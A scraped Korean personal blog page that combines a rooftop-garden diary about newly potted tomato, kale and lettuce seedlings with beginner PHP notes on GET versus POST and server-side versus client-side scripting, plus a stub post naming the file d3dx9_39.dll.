 방울토마토1 : 변화가 눈에 띔 1일째와 다르게 잎이 좀더 생기가 돌고 팔팔해짐을 느낌

 


 

 방울토마토2 : 방토1과 마찬가지로 변화가 눈에 띔 1일째와 다르게 잎이 좀더 생기가 돌고 팔팔해짐을 느낌


 

케일 : 잎이 조금 커지고 케일다운 색을 띄게 됨

 


총평  분갈이에 안정적으로 적응하고 성장할 준비를 마친듯.

 

PHP의 특징

 

 인터프리터 언어

 C나 자바처럼 소스를 실행하기전에 컴퓨터언어로 변환시킬 필요없이 바로 실행되는 언어

 서버 사이드 스크립트

 프로그램이 HTML 파일 내부에 포함되거나 독립적 파일로 존재한다.

이 프로그램은 웹 서버에서 실행된 다음 HTML 형태로 변환되어 요청한 클라이언트의 브라우저에 표시된다.

 데이터베이스와의 연계

 다양한 데이터베이스를 지원하고있어 데이터베이스와의 연계가 뛰어남

 오픈 소스  소스코드가 인터넷에 다양하게 공개되어 있고 라이브러리가 잘 되어있음.

 

 


 GET 과 POST의 차이

 항목

GET 방식 

POST 방식 

 데이터를 주고받는 방법

 환경변수라는 웹 서버의 OS가

 갖는 변수에 저장됨

 표준입력 장치를 사용해 서식에

 입력 받은 다음 전송함 

 문자수 제한  있음(OS에 의존)

 없음

 주소창에서의 표시

 전달된 파라미터는 주소창에 표시됨  전달된 파라미터는 주소창에 표시되지 않음.
 주소창에서 지정하는 파라미터  파라미터를 직접 지정할 수 있습니다  파라미터를 직접 지정할수 없음.

 


서버사이드 스크립트와 클라이언트 사이드 스크립트

 

서버 사이드 스크립트 

 클라이언트 사이드 스크립트

● 클라이언트(웹브라우저)가 스크립트를 실행함.

● 웹 서버가 스크립트를 실행함.

● 웹 서버에 부하는 없음.

● 웹 서버에 부하가 걸림.

● 웹 브라우저의 종류나 설정에 의존함.

● 웹 브라우저의 환경에 의존하지 않음.

● 대표적으로 JavaScript, VBScript 등이 있음.

● 주요 기술로는 PHP,JSP,ASP 등.

 

 


 

 

 

 

 

 

 

 적상추모종과 고추모종 화분과 흙이 부족한 관계로 한 화분에 심다.


 

 적상추와 청상추 모종 가능한한 많이 심었다. 간격이 많이 떨어진것 같지만 이것들이 무지 커짐


 

 방울토마토 모종. 모종자체가 크기때문에 단독화분이 배정됨 할머니 말씀에 의하면 수확에 부정적이라 하심.


 

 같은 방울토마도 모종이다 좀더 흙이 많이들어간 화분에 심어졌다 이것이 앞으로 어떤 영향을 줄지 궁금하다.


 

 내가 고른 케일 쌈채중 케일을 좋아해서 골랐다. 풍성하게 자라라.

 


옥상정원 2013/04/28 Day  -  1일째

 

 

 

 

d3dx9_39.dll

여러가지/파일2013. 4. 25. 15:49

 

d3dx9_39.dll